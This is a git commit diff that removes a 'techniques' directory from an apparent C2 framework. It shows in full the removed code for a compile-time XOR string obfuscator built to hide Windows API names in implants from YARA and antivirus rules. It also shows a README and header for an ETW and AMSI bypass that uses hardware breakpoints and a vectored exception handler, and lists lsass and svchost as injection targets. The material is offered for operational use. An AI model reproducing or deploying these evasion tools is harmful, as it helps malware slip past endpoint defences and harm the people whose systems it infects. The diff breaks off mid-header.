remove techniques directory

This commit is contained in:
28Zaaky
2026-06-30 18:04:02 +03:00
parent f49ee89f0b
commit 3d722901ec
51 changed files with 0 additions and 3573 deletions
-36
View File
@@ -1,36 +0,0 @@
CC = x86_64-w64-mingw32-gcc
PY = python3
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
SRC = src/evs.c src/demo.c
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
TARGET = build/demo.exe
HEADER = include/evs_strings.h
all: $(HEADER) build $(TARGET)
$(HEADER): strings.txt gen_evs.py
$(PY) gen_evs.py strings.txt -o $(HEADER)
build:
mkdir -p build
build/%.o: src/%.c $(HEADER)
$(CC) $(CFLAGS) -c $< -o $@
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(OBJ) -o $@
# Rebuild with a new random key
rekey:
rm -f $(HEADER)
$(MAKE)
clean:
rm -rf build $(HEADER)
.PHONY: all rekey clean
-166
View File
@@ -1,166 +0,0 @@
# evs-xor
Compile-time XOR string obfuscation for Windows implants. Prevents API/DLL name strings from appearing in `.rdata`, defeating static YARA rules that match literal API names.
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
---
## The problem
Any implant that calls `GetProcAddress(ntdll, "NtOpenProcess")` has the string `"NtOpenProcess"` sitting in `.rdata`. A two-line YARA rule catches every implant that uses that API by name. Same for `"AmsiScanBuffer"`, `"EtwEventWrite"`, `"lsass.exe"`, `"SeDebugPrivilege"`, etc.
```
strings build/implant.exe | grep NtOpenProcess
→ NtOpenProcess ← instant YARA hit
```
---
## How EVS XOR solves it
**Build time** (Python generator):
1. `gen_evs.py` reads your string table (`strings.txt`).
2. Picks a random 1-byte XOR key (`secrets.randbelow(256)`, non-zero).
3. XOR-encodes each string byte-by-byte.
4. Writes `include/evs_strings.h` with static byte arrays + `EVS_KEY` define.
Key changes on every build → every byte array changes → no static YARA rule survives a rebuild.
**Runtime** (C decoder):
```c
char buf[16] = {0};
EVS_D(buf, EVS_dll_ntdll); // XOR decode "ntdll.dll" into buf at runtime
HMODULE h = GetModuleHandleA(buf);
SecureZeroMemory(buf, sizeof(buf)); // wipe from stack
```
**Why `noinline`:**
One hundred `EVS_D()` calls inlined = one hundred short identical XOR loops in `.text`. ML-based AV heuristics flag high density of identical short loops as a packing / shellcode signature. `__attribute__((noinline))` keeps a single function body — one code pattern, not one hundred.
---
## Usage
### 1. Add strings to `strings.txt`
```
# Format: plaintext_value C_identifier_suffix
ntdll.dll dll_ntdll
NtOpenProcess fn_NtOpenProcess
AmsiScanBuffer fn_AmsiScanBuffer
lsass.exe str_lsass
```
### 2. Generate header
```bash
python gen_evs.py strings.txt -o include/evs_strings.h
# or just: make
```
Output: `include/evs_strings.h` with randomized key + encoded arrays.
### 3. Include and use
```c
#include "evs.h"
#include "evs_strings.h"
// decode at the call site, use, wipe
char dll[16] = {0};
EVS_D(dll, EVS_dll_ntdll);
HMODULE h = GetModuleHandleA(dll);
SecureZeroMemory(dll, sizeof(dll));
char fn[24] = {0};
EVS_D(fn, EVS_fn_NtOpenProcess);
FARPROC p = GetProcAddress(h, fn);
SecureZeroMemory(fn, sizeof(fn));
```
### Rebuild with new key
```bash
make rekey # deletes evs_strings.h, regenerates with a new random key, rebuilds
```
---
## Build
```bash
make
./build/demo.exe
```
Expected output:
```
[*] EVS_KEY = 0xCC (random per build — changes every make)
[*] Encoded arrays in .rodata (no plaintext):
EVS_dll_ntdll A2 B8 A8 A0 A0 E2 A8 A0 A0
EVS_fn_NtOpenProcess 82 B8 83 BC A9 A2 9C BE A3 AF ...
...
[*] Decoded at runtime:
dll: ntdll.dll
api: NtOpenProcess
api: EtwEventWrite
...
[+] GetModuleHandleA(ntdll.dll) = 0x00007ffe2fc40000
[+] GetProcAddress(NtOpenProcess) = 0x00007ffe2fda0510
[+] EVS XOR working — no plaintext strings, APIs resolved correctly
```
Verify no plaintext leaks:
```powershell
$b = [IO.File]::ReadAllBytes("build\demo.exe")
$t = [Text.Encoding]::Latin1.GetString($b)
[regex]::Matches($t,'[!-~]{5,}') | Where Value -match "ntdll|NtOpen|AmsiScan"
# → 0 results
```
---
## gen_evs.py options
```
usage: gen_evs.py [strings.txt] [-o header.h] [-k 0xNN]
positional:
strings.txt string table file (default: strings.txt)
optional:
-o PATH output header path (default: include/evs_strings.h)
-k 0xNN fixed XOR key — useful for testing; random by default
```
---
## Limitations
- **Single-byte XOR** — simple but sufficient to defeat static string matching. Not cryptographically strong. A determined analyst can brute-force 255 keys in milliseconds. The goal is defeating *static* AV/YARA, not a human analyst.
- **Key in binary** — `EVS_KEY` is a literal in the compiled binary. Visible in a hex dump. Sufficient for static scanning evasion; not for obfuscating against reverse engineering.
- **`SecureZeroMemory` is advisory** — compiler may optimize it away with LTO. Use `volatile` wipes or `explicit_bzero` in hardened production code.
- **Import table still names `KERNEL32.dll`** — any PE that calls `GetProcAddress` will. Replace with a PEB walk to eliminate even that reference.
---
## Operational notes
- **Stack buffer sizing**: `EVS_D(buf, EVS_foo)` writes `sizeof(EVS_foo) + 1` bytes. Allocate `sizeof(EVS_foo) + 1` minimum.
- **Thread safety**: `evs_dec()` is stateless — safe to call from multiple threads.
- **Integration with PEB walk**: pair EVS with a PEB module walker to resolve DLLs without any string in the import table or `.rdata`.
- **Integration with indirect syscalls**: EVS encodes Nt* function names passed to `sc_ssn()` — no plaintext syscall names appear even in the SSN resolver.
---
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
Binary file not shown.
Binary file not shown.
Binary file not shown.
-114
View File
@@ -1,114 +0,0 @@
#!/usr/bin/env python3
"""
gen_evs.py — compile-time XOR string obfuscator for Windows implants.
Reads a two-column string table, encodes each string with a per-build
random XOR key, and writes a C header with static byte arrays.
Usage:
python gen_evs.py [strings.txt] [-o include/evs_strings.h] [-k 0xNN]
String table format:
plaintext_string C_identifier_suffix
# comment lines and blank lines are ignored
Output:
C header with EVS_KEY define, EVS_<suffix>[] arrays, and EVS_D() macro.
Extracted from KHAOS C2 — https://github.com/28Zaaky/khaos-c2
"""
import os
import sys
import secrets
import argparse
def encode(plaintext: str, key: int) -> list:
return [b ^ key for b in plaintext.encode("latin-1")]
def load_strings(path: str) -> list:
pairs = []
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split()
if len(parts) < 2:
sys.exit(f"bad line in {path!r}: {line!r} (expected: plaintext identifier)")
pairs.append((parts[0], parts[1]))
return pairs
def main():
ap = argparse.ArgumentParser(description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("strings", nargs="?", default="strings.txt",
help="string table file (default: strings.txt)")
ap.add_argument("-o", default="include/evs_strings.h",
help="output header path (default: include/evs_strings.h)")
ap.add_argument("-k", default=None, metavar="0xNN",
help="fixed XOR key in hex (default: random per run)")
args = ap.parse_args()
if args.k:
key = int(args.k, 16) & 0xFF
if key == 0:
sys.exit("key 0x00 is the XOR identity — use a non-zero value")
else:
key = secrets.randbelow(256)
while key == 0:
key = secrets.randbelow(256)
pairs = load_strings(args.strings)
lines = [
"/* AUTO-GENERATED by gen_evs.py — do not edit.",
" * EVS_KEY is randomised every build; all byte arrays change.",
" * Defeats static YARA rules that match encoded API/DLL names.",
" */",
"#ifndef EVS_STRINGS_H",
"#define EVS_STRINGS_H",
"",
f"#define EVS_KEY 0x{key:02x}u",
"",
]
for plaintext, suffix in pairs:
enc = encode(plaintext, key)
arr = ", ".join(f"0x{b:02x}" for b in enc)
lines.append(
f"static const unsigned char EVS_{suffix}[{len(enc)}]"
f" = {{ {arr} }}; /* {plaintext} */"
)
lines += [
"",
"/* Runtime XOR decoder — defined in src/evs.c.",
" * noinline: one code pattern in .text, not N inline XOR loops.",
" * ML-based AV heuristics flag many identical short loops;",
" * a single called function does not match that signature. */",
"#ifndef EVS_DEC_DECL",
"#define EVS_DEC_DECL",
"#include <stddef.h>",
"extern void evs_dec(char *out, const unsigned char *enc, size_t n);",
"#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))",
"#endif",
"",
"#endif /* EVS_STRINGS_H */",
"",
]
out_dir = os.path.dirname(args.o)
if out_dir:
os.makedirs(out_dir, exist_ok=True)
with open(args.o, "w") as f:
f.write("\n".join(lines))
print(f"[ok] {args.o} key=0x{key:02x} {len(pairs)} strings encoded")
if __name__ == "__main__":
main()
-35
View File
@@ -1,35 +0,0 @@
#pragma once
#include <stddef.h>
/*
* EVS XOR — compile-time string obfuscation for Windows implants.
*
* Problem: strings like "ntdll.dll", "NtOpenProcess", "AmsiScanBuffer" in
* .rdata are direct YARA match targets — one rule catches every implant that
* touches these APIs by name.
*
* Solution: encode strings at compile time with a random per-build XOR key.
* No plaintext appears in .rdata. Key changes every build → static YARA fails.
*
* Workflow:
* 1. Add strings to strings.txt
* 2. Run: python gen_evs.py (auto-called by `make`)
* 3. #include "evs_strings.h" in files that need string decoding
* 4. Decode at runtime, use, then wipe:
*
* char buf[16] = {0};
* EVS_D(buf, EVS_dll_ntdll);
* HMODULE h = GetModuleHandleA(buf);
* SecureZeroMemory(buf, sizeof(buf));
*
* Runtime cost: one small XOR loop per decode call.
* Stack buffers for decoded strings are caller-managed.
*/
/* Runtime decoder (defined in src/evs.c).
* __attribute__((noinline)) in the .c ensures one code pattern, not N copies. */
void evs_dec(char *out, const unsigned char *enc, size_t n);
/* Decode EVS_<name> array into caller-provided buffer.
* Buffer must be at least sizeof(EVS_<name>) + 1 bytes (evs_dec appends NUL). */
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
-52
View File
@@ -1,52 +0,0 @@
/* AUTO-GENERATED by gen_evs.py — do not edit.
* EVS_KEY is randomised every build; all byte arrays change.
* Defeats static YARA rules that match encoded API/DLL names.
*/
#ifndef EVS_STRINGS_H
#define EVS_STRINGS_H
#define EVS_KEY 0xccu
static const unsigned char EVS_dll_ntdll[9] = { 0xa2, 0xb8, 0xa8, 0xa0, 0xa0, 0xe2, 0xa8, 0xa0, 0xa0 }; /* ntdll.dll */
static const unsigned char EVS_dll_kernel32[12] = { 0xa7, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* kernel32.dll */
static const unsigned char EVS_dll_kernelbase[14] = { 0x87, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0x8e, 0xad, 0xbf, 0xa9, 0xe2, 0xa8, 0xa0, 0xa0 }; /* KernelBase.dll */
static const unsigned char EVS_dll_advapi32[12] = { 0xad, 0xa8, 0xba, 0xad, 0xbc, 0xa5, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* advapi32.dll */
static const unsigned char EVS_dll_amsi[8] = { 0xad, 0xa1, 0xbf, 0xa5, 0xe2, 0xa8, 0xa0, 0xa0 }; /* amsi.dll */
static const unsigned char EVS_fn_NtOpenProcess[13] = { 0x82, 0xb8, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* NtOpenProcess */
static const unsigned char EVS_fn_NtAllocateVirtualMemory[23] = { 0x82, 0xb8, 0x8d, 0xa0, 0xa0, 0xa3, 0xaf, 0xad, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtAllocateVirtualMemory */
static const unsigned char EVS_fn_NtWriteVirtualMemory[20] = { 0x82, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtWriteVirtualMemory */
static const unsigned char EVS_fn_NtProtectVirtualMemory[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
static const unsigned char EVS_fn_NtFreeVirtualMemory[19] = { 0x82, 0xb8, 0x8a, 0xbe, 0xa9, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtFreeVirtualMemory */
static const unsigned char EVS_fn_NtCreateThreadEx[16] = { 0x82, 0xb8, 0x8f, 0xbe, 0xa9, 0xad, 0xb8, 0xa9, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x89, 0xb4 }; /* NtCreateThreadEx */
static const unsigned char EVS_fn_NtClose[7] = { 0x82, 0xb8, 0x8f, 0xa0, 0xa3, 0xbf, 0xa9 }; /* NtClose */
static const unsigned char EVS_fn_NtReadVirtualMemory[19] = { 0x82, 0xb8, 0x9e, 0xa9, 0xad, 0xa8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtReadVirtualMemory */
static const unsigned char EVS_fn_NtContinue[10] = { 0x82, 0xb8, 0x8f, 0xa3, 0xa2, 0xb8, 0xa5, 0xa2, 0xb9, 0xa9 }; /* NtContinue */
static const unsigned char EVS_fn_NtWaitForSingleObject[21] = { 0x82, 0xb8, 0x9b, 0xad, 0xa5, 0xb8, 0x8a, 0xa3, 0xbe, 0x9f, 0xa5, 0xa2, 0xab, 0xa0, 0xa9, 0x83, 0xae, 0xa6, 0xa9, 0xaf, 0xb8 }; /* NtWaitForSingleObject */
static const unsigned char EVS_fn_NtPVM[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
static const unsigned char EVS_fn_RtlCaptureContext[17] = { 0x9e, 0xb8, 0xa0, 0x8f, 0xad, 0xbc, 0xb8, 0xb9, 0xbe, 0xa9, 0x8f, 0xa3, 0xa2, 0xb8, 0xa9, 0xb4, 0xb8 }; /* RtlCaptureContext */
static const unsigned char EVS_fn_RtlUserThreadStart[18] = { 0x9e, 0xb8, 0xa0, 0x99, 0xbf, 0xa9, 0xbe, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x9f, 0xb8, 0xad, 0xbe, 0xb8 }; /* RtlUserThreadStart */
static const unsigned char EVS_fn_EtwEventWrite[13] = { 0x89, 0xb8, 0xbb, 0x89, 0xba, 0xa9, 0xa2, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9 }; /* EtwEventWrite */
static const unsigned char EVS_fn_EtwTiLogOpenProcess[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* EtwTiLogOpenProcess */
static const unsigned char EVS_fn_EtwTiLogReadWriteVm[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x9e, 0xa9, 0xad, 0xa8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa1 }; /* EtwTiLogReadWriteVm */
static const unsigned char EVS_fn_EtwTiLogDuplicateHandle[23] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x88, 0xb9, 0xbc, 0xa0, 0xa5, 0xaf, 0xad, 0xb8, 0xa9, 0x84, 0xad, 0xa2, 0xa8, 0xa0, 0xa9 }; /* EtwTiLogDuplicateHandle */
static const unsigned char EVS_fn_AmsiScanBuffer[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x8e, 0xb9, 0xaa, 0xaa, 0xa9, 0xbe }; /* AmsiScanBuffer */
static const unsigned char EVS_fn_AmsiScanString[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x9f, 0xb8, 0xbe, 0xa5, 0xa2, 0xab }; /* AmsiScanString */
static const unsigned char EVS_str_svchost[11] = { 0xbf, 0xba, 0xaf, 0xa4, 0xa3, 0xbf, 0xb8, 0xe2, 0xa9, 0xb4, 0xa9 }; /* svchost.exe */
static const unsigned char EVS_str_explorer[12] = { 0xa9, 0xb4, 0xbc, 0xa0, 0xa3, 0xbe, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* explorer.exe */
static const unsigned char EVS_str_lsass[9] = { 0xa0, 0xbf, 0xad, 0xbf, 0xbf, 0xe2, 0xa9, 0xb4, 0xa9 }; /* lsass.exe */
static const unsigned char EVS_str_RuntimeBroker[17] = { 0x9e, 0xb9, 0xa2, 0xb8, 0xa5, 0xa1, 0xa9, 0x8e, 0xbe, 0xa3, 0xa7, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* RuntimeBroker.exe */
static const unsigned char EVS_str_SeDebugPrivilege[16] = { 0x9f, 0xa9, 0x88, 0xa9, 0xae, 0xb9, 0xab, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeDebugPrivilege */
static const unsigned char EVS_str_SeImpersonatePrivilege[22] = { 0x9f, 0xa9, 0x85, 0xa1, 0xbc, 0xa9, 0xbe, 0xbf, 0xa3, 0xa2, 0xad, 0xb8, 0xa9, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeImpersonatePrivilege */
/* Runtime XOR decoder — defined in src/evs.c.
* noinline: one code pattern in .text, not N inline XOR loops.
* ML-based AV heuristics flag many identical short loops;
* a single called function does not match that signature. */
#ifndef EVS_DEC_DECL
#define EVS_DEC_DECL
#include <stddef.h>
extern void evs_dec(char *out, const unsigned char *enc, size_t n);
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
#endif
#endif /* EVS_STRINGS_H */
-109
View File
@@ -1,109 +0,0 @@
#include "evs.h"
#include "evs_strings.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
/*
* Demo:
* 1. Show that encoded arrays contain no plaintext bytes (strings tool finds nothing).
* 2. Decode at runtime via EVS_D().
* 3. Resolve real APIs using decoded names — no plaintext string ever in .rdata.
* 4. Wipe decoded buffers with SecureZeroMemory after use.
*
* Verify no plaintext leaks:
* strings build/demo.exe | grep -iE "ntdll|NtOpen|AmsiScan"
* → no results expected
*/
static void print_hex(const char *label, const unsigned char *arr, size_t n)
{
printf(" %-28s ", label);
for (size_t i = 0; i < n && i < 10; i++)
printf("%02X ", arr[i]);
if (n > 10) printf("...");
printf("\n");
}
int main(void)
{
printf("[*] EVS_KEY = 0x%02X (random per build — changes every make)\n\n", EVS_KEY);
/* --- Show raw encoded bytes: no plaintext recognizable --- */
printf("[*] Encoded arrays in .rodata (no plaintext):\n");
print_hex("EVS_dll_ntdll", EVS_dll_ntdll, sizeof(EVS_dll_ntdll));
print_hex("EVS_fn_NtOpenProcess", EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess));
print_hex("EVS_fn_AmsiScanBuffer",EVS_fn_AmsiScanBuffer,sizeof(EVS_fn_AmsiScanBuffer));
print_hex("EVS_fn_EtwEventWrite", EVS_fn_EtwEventWrite, sizeof(EVS_fn_EtwEventWrite));
print_hex("EVS_str_lsass", EVS_str_lsass, sizeof(EVS_str_lsass));
/* --- Decode at runtime --- */
printf("\n[*] Decoded at runtime:\n");
char dll_ntdll[16] = {0};
char dll_kernel32[16] = {0};
char dll_amsi[16] = {0};
char fn_NtOpen[24] = {0};
char fn_NtProt[28] = {0};
char fn_EtwW[20] = {0};
char fn_AmsiScan[20] = {0};
char str_svchost[16] = {0};
char str_lsass[16] = {0};
char str_sedbg[24] = {0};
EVS_D(dll_ntdll, EVS_dll_ntdll);
EVS_D(dll_kernel32, EVS_dll_kernel32);
EVS_D(dll_amsi, EVS_dll_amsi);
EVS_D(fn_NtOpen, EVS_fn_NtOpenProcess);
EVS_D(fn_NtProt, EVS_fn_NtProtectVirtualMemory);
EVS_D(fn_EtwW, EVS_fn_EtwEventWrite);
EVS_D(fn_AmsiScan, EVS_fn_AmsiScanBuffer);
EVS_D(str_svchost, EVS_str_svchost);
EVS_D(str_lsass, EVS_str_lsass);
EVS_D(str_sedbg, EVS_str_SeDebugPrivilege);
printf(" dll: %s\n", dll_ntdll);
printf(" dll: %s\n", dll_kernel32);
printf(" dll: %s\n", dll_amsi);
printf(" api: %s\n", fn_NtOpen);
printf(" api: %s\n", fn_NtProt);
printf(" api: %s\n", fn_EtwW);
printf(" api: %s\n", fn_AmsiScan);
printf(" process: %s\n", str_svchost);
printf(" process: %s\n", str_lsass);
printf(" privilege: %s\n", str_sedbg);
/* --- Functional test: resolve real API via decoded name --- */
printf("\n[*] API resolution via decoded names (no plaintext in IAT/rdata):\n");
HMODULE hntdll = GetModuleHandleA(dll_ntdll);
FARPROC fn_ntopen = hntdll ? GetProcAddress(hntdll, fn_NtOpen) : NULL;
FARPROC fn_ntprot = hntdll ? GetProcAddress(hntdll, fn_NtProt) : NULL;
FARPROC fn_etw = hntdll ? GetProcAddress(hntdll, fn_EtwW) : NULL;
printf(" [%c] GetModuleHandleA(%s) = %p\n",
hntdll ? '+' : '!', dll_ntdll, (void *)hntdll);
printf(" [%c] GetProcAddress(%s) = %p\n",
fn_ntopen ? '+' : '!', fn_NtOpen, (void *)fn_ntopen);
printf(" [%c] GetProcAddress(%s) = %p\n",
fn_ntprot ? '+' : '!', fn_NtProt, (void *)fn_ntprot);
printf(" [%c] GetProcAddress(%s) = %p\n",
fn_etw ? '+' : '!', fn_EtwW, (void *)fn_etw);
/* Wipe decoded strings — no plaintext lingers on the stack */
SecureZeroMemory(dll_ntdll, sizeof(dll_ntdll));
SecureZeroMemory(dll_kernel32, sizeof(dll_kernel32));
SecureZeroMemory(fn_NtOpen, sizeof(fn_NtOpen));
SecureZeroMemory(fn_NtProt, sizeof(fn_NtProt));
SecureZeroMemory(fn_EtwW, sizeof(fn_EtwW));
SecureZeroMemory(fn_AmsiScan, sizeof(fn_AmsiScan));
SecureZeroMemory(str_lsass, sizeof(str_lsass));
SecureZeroMemory(str_sedbg, sizeof(str_sedbg));
BOOL ok = hntdll && fn_ntopen && fn_ntprot && fn_etw;
printf("\n[%c] EVS XOR %s\n", ok ? '+' : '!',
ok ? "working — no plaintext strings, APIs resolved correctly"
: "FAIL — check output above");
return ok ? 0 : 1;
}
-21
View File
@@ -1,21 +0,0 @@
#include "evs.h"
#include "evs_strings.h"
#include <stddef.h>
/*
* Single XOR decoder — noinline so the compiler emits exactly one copy.
*
* Why noinline matters:
* 100+ EVS_D() calls with inline expansion = 100+ identical 3-instruction
* XOR loops scattered through .text. ML-based AV heuristics treat a high
* density of identical short loops as a shellcode-packing signature.
* One called function does not match that pattern.
*/
__attribute__((noinline))
void evs_dec(char *out, const unsigned char *enc, size_t n)
{
unsigned char k = EVS_KEY;
for (size_t i = 0; i < n; i++)
out[i] = (char)(enc[i] ^ k);
out[n] = '\0';
}
-45
View File
@@ -1,45 +0,0 @@
# EVS string table — one entry per line: plaintext identifier_suffix
# Generated header will have EVS_<identifier_suffix> arrays.
# Run: python gen_evs.py (or make)
# DLL names
ntdll.dll dll_ntdll
kernel32.dll dll_kernel32
KernelBase.dll dll_kernelbase
advapi32.dll dll_advapi32
amsi.dll dll_amsi
# Nt* syscall stubs (ntdll)
NtOpenProcess fn_NtOpenProcess
NtAllocateVirtualMemory fn_NtAllocateVirtualMemory
NtWriteVirtualMemory fn_NtWriteVirtualMemory
NtProtectVirtualMemory fn_NtProtectVirtualMemory
NtFreeVirtualMemory fn_NtFreeVirtualMemory
NtCreateThreadEx fn_NtCreateThreadEx
NtClose fn_NtClose
NtReadVirtualMemory fn_NtReadVirtualMemory
NtContinue fn_NtContinue
NtWaitForSingleObject fn_NtWaitForSingleObject
NtProtectVirtualMemory fn_NtPVM
# ntdll helpers
RtlCaptureContext fn_RtlCaptureContext
RtlUserThreadStart fn_RtlUserThreadStart
# ETW / AMSI targets (EDR hooks these)
EtwEventWrite fn_EtwEventWrite
EtwTiLogOpenProcess fn_EtwTiLogOpenProcess
EtwTiLogReadWriteVm fn_EtwTiLogReadWriteVm
EtwTiLogDuplicateHandle fn_EtwTiLogDuplicateHandle
AmsiScanBuffer fn_AmsiScanBuffer
AmsiScanString fn_AmsiScanString
# Common process names (injection targets)
svchost.exe str_svchost
explorer.exe str_explorer
lsass.exe str_lsass
RuntimeBroker.exe str_RuntimeBroker
# Privilege names
SeDebugPrivilege str_SeDebugPrivilege
SeImpersonatePrivilege str_SeImpersonatePrivilege
-27
View File
@@ -1,27 +0,0 @@
CC = x86_64-w64-mingw32-gcc
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
LDFLAGS = -lamsi
SRC = src/hwbp_evasion.c src/demo.c
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
TARGET = build/demo.exe
all: build $(TARGET)
build:
mkdir -p build
build/%.o: src/%.c
$(CC) $(CFLAGS) -c $< -o $@
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
clean:
rm -rf build
.PHONY: all clean
-120
View File
@@ -1,120 +0,0 @@
# hwbp-evasion
ETW and AMSI bypass using hardware breakpoints and a Vectored Exception Handler (VEH). No patching, no memory writes to protected regions — the breakpoints live entirely in CPU debug registers.
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
---
## How it works
x64 debug registers `Dr0``Dr3` can each watch an address for execution. When the CPU hits a watched address, it raises `EXCEPTION_SINGLE_STEP` before executing the instruction. A VEH registered as the first handler in the chain intercepts that exception, manipulates the thread context, and returns `EXCEPTION_CONTINUE_EXECUTION` — the original function never executes.
```
hwbp_patch_all()
|
+-> resolve EtwEventWrite -> Dr0
+-> resolve AmsiScanBuffer -> Dr1
+-> resolve AmsiScanString -> Dr2
+-> set Dr7 local enable bits
+-> AddVectoredExceptionHandler(1, _hwbp_veh) <- first in chain
[AV calls AmsiScanBuffer]
|
+-> CPU fires EXCEPTION_SINGLE_STEP (Dr1 match)
|
+-> _hwbp_veh()
Rax = E_INVALIDARG (0x80070057)
Rip = [Rsp] <- skip to caller's return address
Rsp += 8
Dr6 &= ~0x2 <- clear B1 status bit
return EXCEPTION_CONTINUE_EXECUTION
[AmsiScanBuffer never executed — caller sees E_INVALIDARG]
```
Same logic for `EtwEventWrite` (returns `STATUS_SUCCESS`) and `AmsiScanString` (returns `E_INVALIDARG`).
---
## Why hardware breakpoints
Compared to memory patching (`mov rax, ret`) or inline hooks:
- **No writes to protected pages** — no `VirtualProtect` calls that EDR hooks watch
- **No detectable byte modifications** in ntdll or amsi.dll — memory integrity scans find nothing
- **Per-thread** — debug registers are thread-local, so the bypass only applies to threads where `hwbp_apply_thread` is called
- **Revocable at runtime** — clear Dr7 bits to disable without touching any DLL
The tradeoff: Dr0Dr3 are also used by debuggers and some EDR products. If a debugger owns those registers, conflicts can occur.
---
## API
```c
void hwbp_patch_etw(void); // arm Dr0 -> EtwEventWrite
void hwbp_patch_amsi(void); // arm Dr1 -> AmsiScanBuffer, Dr2 -> AmsiScanString
void hwbp_patch_all(void); // arm all three
void hwbp_apply_thread(HANDLE ht); // propagate active breakpoints to another thread
```
`hwbp_apply_thread` is useful when spawning new threads (e.g. the timer thread in sleep obfuscation) that will also call ETW-instrumented code.
---
## Integration with sleep-obf
The `.run` section attribute on `_hwbp_veh` keeps the handler executable when `.text` is `PAGE_NOACCESS` during obfuscated sleep:
```c
// in your sleep callback, before encrypting .text:
g_sleep_obf_thread_hook = hwbp_apply_thread;
sleep_obf(5000);
```
This ensures the timer thread also has the breakpoints armed and won't trigger ETW during sleep.
---
## Build
```bash
make
./build/demo.exe
```
Expected output (on a system with AMSI loaded):
```
[*] without bypass:
[before] hr=0x00000000 result=32 detected=YES
[*] arming HWBP bypass...
[+] armed
[*] with bypass:
[after ] hr=0x80070057 result=0 detected=no
```
---
## Limitations
- x64 only.
- Debug registers are thread-local. Call `hwbp_apply_thread` for every thread that needs the bypass.
- Some EDR products monitor `SetThreadContext` calls that modify debug registers. The call on `GetCurrentThread()` is less visible than cross-thread calls.
- If a kernel-mode ETW provider (`EtwTi*`) is active, this bypass does not cover it. See the ntdll-unhook technique for `EtwTiLogOpenProcess` / `EtwTiLogReadWriteVm` / `EtwTiLogDuplicateHandle`.
---
## Operational notes
This PoC uses plaintext strings and `GetModuleHandleA`. In production:
- Resolve modules via PEB walk (`__readgsqword(0x60)`)
- Encrypt string literals at compile time
- Use `LoadLibraryA` only if amsi.dll is not already in the PEB module list — calling `LoadLibraryA` itself is a detectable event
---
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
@@ -1,18 +0,0 @@
#pragma once
#include <windows.h>
/*
* hwbp_patch_etw() — arm Dr0 on EtwEventWrite
* hwbp_patch_amsi() — arm Dr1 on AmsiScanBuffer, Dr2 on AmsiScanString
* hwbp_patch_all() — arm all three (ETW + AMSI)
*
* Each call is idempotent — safe to call multiple times.
* Registers a VEH handler on first call.
*
* hwbp_apply_thread(ht) — propagate active breakpoints to another thread
